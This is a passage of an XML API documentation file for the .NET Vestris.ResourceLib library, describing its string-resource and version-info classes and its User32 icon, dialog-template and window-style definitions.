name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.WriteAt(System.IO.BinaryWriter,System.Int64,System.Int64)\">\n            <summary>\n            Write a value at a given position.\n            Used to write a size of data in an earlier located header.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"value\">Value to write.</param>\n            <param name=\"address\">Address to write the value at.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Pad(System.IO.BinaryWriter,System.UInt16)\">\n            <summary>\n            Pad bytes.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"len\">Number of bytes to write.</param>\n            <returns>New position within the stream.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.NEUTRALLANGID\">\n            <summary>\n            Neutral language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.USENGLISHLANGID\">\n            <summary>\n            US-English language ID.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.MAKELANGID(System.Int32,System.Int32)\">\n            <summary>\n            Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits).\n            </summary>\n            <param name=\"primary\">Primary language ID.</param>\n            <param name=\"sub\">Sublanguage ID.</param>\n            <returns>Microsoft language ID.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PRIMARYLANGID(System.UInt16)\">\n            <summary>\n            Return the primary language ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID</param>\n            <returns>primary language ID (low-order 10 bits)</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.SUBLANGID(System.UInt16)\">\n            <summary>\n            Return the sublanguage ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID.</param>\n            <returns>Sublanguage ID (high-order 6 bits).</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.GetBytes``1(``0)\">\n            <summary>\n            Returns the memory representation of an object.\n            </summary>\n            <typeparam name=\"T\">Object type.</typeparam>\n            <param name=\"anything\">Data.</param>\n            <returns>Object's representation in memory.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToList``1(System.UInt32)\">\n            <summary>\n            Get a collection of flags from a flag value.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag value.</param>\n            <returns>Collection of flags.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToString``1(System.UInt32)\">\n            <summary>\n            Get a string representation of flags.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag vlaue</param>\n            <returns>String representation of flags in the f1 | ... | fn format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information that can be displayed for a particular language and code page.\n            http://msdn.microsoft.com/en-us/library/aa908808.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor\">\n            <summary>\n            A new string file-version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read an existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n            <returns>Pointer to the end of the string file-version resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string file-version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Default\">\n            <summary>\n            Default (first) string table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Item(System.String)\">\n            <summary>\n            Indexed string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>A string table at a given index.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of StringFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the StringFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringResource\">\n            <summary>\n            A string, RT_STRING resource.\n            Each string resource block has 16 strings, each represented as an ordered pair \n            (length, text). Length is a WORD that specifies the size, in terms of the number of characters, \n            in the text that follows. Text follows length and contains the string in Unicode without the \n            NULL terminating character. There may be no characters in text, in which case length is zero.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Strings\">\n            <summary>\n            String collection in this resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Item(System.UInt16)\">\n            <summary>\n            Returns a string of a given Id.\n            </summary>\n            <param name=\"id\">String Id.</param>\n            <returns>A string of a given Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor\">\n            <summary>\n            A new string resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.UInt16)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.GetBlockId(System.Int32)\">\n            <summary>\n            A string with ID, stringId, is located in the block with ID given by the following formula.\n            http://support.microsoft.com/kb/q196774/\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.BlockId\">\n            <summary>\n            String table block id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the strings.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Address of the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.ToString\">\n            <summary>\n            String representation of the strings resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains language \n            and code page formatting information for the strings. A code page is an ordered character set.\n            See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor\">\n            <summary>\n            A new string table.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.String)\">\n            <summary>\n            A new string table.\n            </summary>\n            <param name=\"key\">String table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the table.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Read(System.IntPtr)\">\n            <summary>\n            Read a string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Pointer to the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string table to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.LanguageID\">\n            <summary>\n            The four most significant digits of the key represent the language identifier.\n            Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits \n            specify the major language, and the high-order 6 bits specify the sublanguage.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.CodePage\">\n            <summary>\n            The four least significant digits of the key represent the code page for which the data is formatted.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Item(System.String)\">\n            <summary>\n            Returns an entry within the string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>An entry within the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the string table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the strings table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTableEntry\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains a string \n            that describes a specific aspect of a file, such as a file's version, its copyright notices, \n            or its trademarks.\n            http://msdn.microsoft.com/en-us/library/aa909025.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry._value\">\n            <summary>\n            The value is always stored double-null-terminated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry.ConsiderPaddingForLength\">\n            <summary>\n            When set to true the length in the header will also contain the padding bytes when writing to a stream.\n            The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Header\">\n            <summary>\n            String resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Key\">\n            <summary>\n            Key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.StringValue\">\n            <summary>\n            String value (removing the double-null-terminator).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Value\">\n            <summary>\n            Value.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.String)\">\n            <summary>\n            A new string resource.\n            </summary>\n            <param name=\"key\">Key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Read(System.IntPtr)\">\n            <summary>\n            Read a string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a string resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32\">\n            <summary>\n            User32.dll functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ICONINFO\">\n            <summary>\n            Contains information about an icon or a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.IsIcon\">\n            <summary>\n            Specifies whether this structure defines an icon or a cursor. \n            A value of TRUE specifies an icon; FALSE specifies a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.xHotspot\">\n            <summary>\n            Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is \n            always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.yHotspot\">\n            <summary>\n            Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot \n            is always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.MaskBitmap\">\n            <summary>\n            Specifies the icon bitmask bitmap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.ColorBitmap\">\n            <summary>\n            Handle to the icon color bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.GetDC(System.IntPtr)\">\n            <summary>\n            Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. \n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the DC for the specified window's client area. \n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.ReleaseDC(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Releases a device context (DC), freeing it for use by other applications.\n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be released.</param>\n            <param name=\"hDC\">A handle to the DC to be released.</param>\n            <returns>\n            The return value indicates whether the DC was released. If the DC was released, the return value is 1.\n            If the DC was not released, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGTEMPLATE\">\n            <summary>\n            The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. \n            This structure, always the first in a standard template for a dialog box, \n            also specifies the number of controls in the dialog box and therefore specifies \n            the number of subsequent DIALOGITEMTEMPLATE structures in the template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cdit\">\n            <summary>\n            Specifies the number of items in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE\">\n            <summary>\n            The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE\">\n            <summary>\n            An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes\n            the dialog box and specifies the number of controls in the dialog box. For each \n            control in a dialog box, an extended dialog box template has a block of data that\n            uses the DIALOGEXITEMTEMPLATE format to describe the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.dlgVer\">\n            <summary>\n            Specifies the version number of the extended dialog box template. This member must be 1.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.signature\">\n            <summary>\n            Indicates whether a template is an extended dialog box template. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cDlgItems\">\n            <summary>\n            Specifies the number of controls in the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE\">\n            <summary>\n            A control entry in an extended dialog template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.WindowStyles\">\n            <summary>\n            Window styles.\n            http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_OVERLAPPED\">\n            <summary>\n            Creates an overlapped window. An overlapped window has a title bar and \n            a border. Same as the WS_TILED style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_POPUP\">\n            <summary>\n            Creates a pop-up window. This style cannot be used with the WS_CHILD style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CHILD\">\n            <summary>\n            Creates a child window. A window with this style cannot have\n            a menu bar. This style cannot be used with the WS_POPUP style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MINIMIZE\">\n            <summary>\n            Creates a window that is initially minimized. Same as the WS_ICONIC style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VISIBLE\">\n            <summary>\n            Creates a window that is initially visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DISABLED\">\n            <summary>\n            Creates a window that is initially disabled. A disabled window cannot receive \n            input from the user.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPSIBLINGS\">\n            <summary>\n            Clips child windows relative to each other; that is, when a particular\n            child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips\n            all other overlapping child windows out of the region of the child window \n            to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap,\n            it is possible, when drawing within the client area of a child window, to draw\n            within the client area of a neighboring child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPCHILDREN\">\n            <summary>\n            Excludes the area occupied by child windows when drawing occurs \n            within the parent window. This style is used when creating the parent window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MAXIMIZE\">\n            <summary>\n            Creates a window that is initially maximized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CAPTION\">\n            <summary>\n            Creates a window that has a title bar (includes the WS_BORDER style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_BORDER\">\n            <summary>\n            Creates a window that has a thin-line border.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DLGFRAME\">\n            <summary>\n            Creates a window that has a border of a style typically used with dialog \n            boxes. A window with this style cannot have a title bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VSCROLL\">\n            <summary>\n            Creates a window that has a vertical scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_HSCROLL\">\n            <summary>\n            Creates a window that has a horizontal scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_SYSMENU\">\n            <summary>\n            Creates a window that has a window menu on its title bar. The WS_CAPTION \n            style must also be specified.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_THICKFRAME\">\n            <summary>\n            Creates a window that has a sizing border. Same as the WS_SIZEBOX style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_GROUP\">\n            <summary>\n            Specifies the first control of a group of controls. The group consists of this\n            first control and all controls defined after it, up to the next control with \n            the WS_GROUP style. The first control in each group usually has the WS_TABSTOP\n            style so that the user can move from group to group. The user can subsequently\n            change the keyboard focus from one control in the group to the next control in \n            the group by using the direction keys. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_TABSTOP\">\n            <summary>\n            Specifies a control that can receive the keyboard focus when the user presses \n            the TAB key. Pressing the TAB key changes the keyboard focus to the next \n            control with the WS_TABSTOP style. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogStyles\">\n            <summary>\n            Dialog styles.\n            http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_ABSALIGN\">\n            <summary>\n            Specifying this style in the dialog template tells Windows that the dtX and dtY values\n            of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the \n            dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SYSMODAL\">\n            <summary>\n            Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the \n            DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit \n            versions of Windows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_LOCALEDIT\">\n            <summary>\n            Applies to 16-bit applications only. This style directs edit controls in the dialog\n            box to allocate memory from the application data segment. Otherwise, edit controls\n            allocate storage from a global memory object.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFONT\">\n            <summary>\n            Indicates that the header of the dialog box template contains additional data specifying\n            the font to use for text in the client area and controls of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_MODALFRAME\">\n            <summary>\n            Creates a dialog box with a modal dialog-box frame that can be combined with a title\n            bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOIDLEMSG\">\n            <summary>\n            Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the\n            dialog box while the dialog box is displayed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFOREGROUND\">\n            <summary>\n            Causes the system to use the SetForegroundWindow function to bring the dialog \n            box to the foreground. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_3DLOOK\">\n            <summary>\n            Gives the dialog box a nonbold font and draws three-dimensional borders around\n            control windows in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_FIXEDSYS\">\n            <summary>\n            Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. \n            This is a monospace font compatible with the System font in 16-bit versions of Windows\n            earlier than 3.0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOFAILCREATE\">\n            <summary>\n            Creates the dialog box even if errors occur — for example, if a child window cannot be \n            created or if the system cannot create a special data segment for an edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTROL\">\n            <summary>\n            Creates a dialog box that works well as a child window of another dialog box,\n            much like a page in a property sheet. This style allows the user to tab among\n            the control windows of a child dialog box, use its accelerator keys, and so on.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTER\">\n            <summary>\n            Centers the dialog box in the working area; that is, the area not obscured by the tray.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTERMOUSE\">\n            <summary>\n            Centers the dialog box on the mouse cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the dialog box. When the user clicks the \n            question mark, the cursor changes to a question mark with a pointer. If the user then \n            clicks a control in the dialog box, the control receives a WM_HELP message. The control\n            should pass the message to the dialog box procedure, which should call the function \n            using the HELP_WM_HELP command. The help application displays a pop-up window that \n            typically contains help for the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SHELLFONT\">\n            <summary>\n            Indicates that the dialog box should use the system font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_USEPIXELS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ExtendedDialogStyles\">\n            <summary>\n            Extended dialog styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_DLGMODALFRAME\">\n            <summary>\n            Creates a window that has a double border; the window can, optionally, be created \n            with a title bar by specifying the WS_CAPTION style in the dwStyle parameter.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOPARENTNOTIFY\">\n            <summary>\n            Specifies that a child window created with this style does not send the WM_PARENTNOTIFY \n            message to its parent window when it is created or destroyed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOPMOST\">\n            <summary>\n            Specifies that a window created with this style should be placed above all non-topmost \n            windows and should stay above them, even when the window is deactivated. To add or remove\n            this style, use the SetWindowPos function.\n            </summary>\n        </member>\n        <member 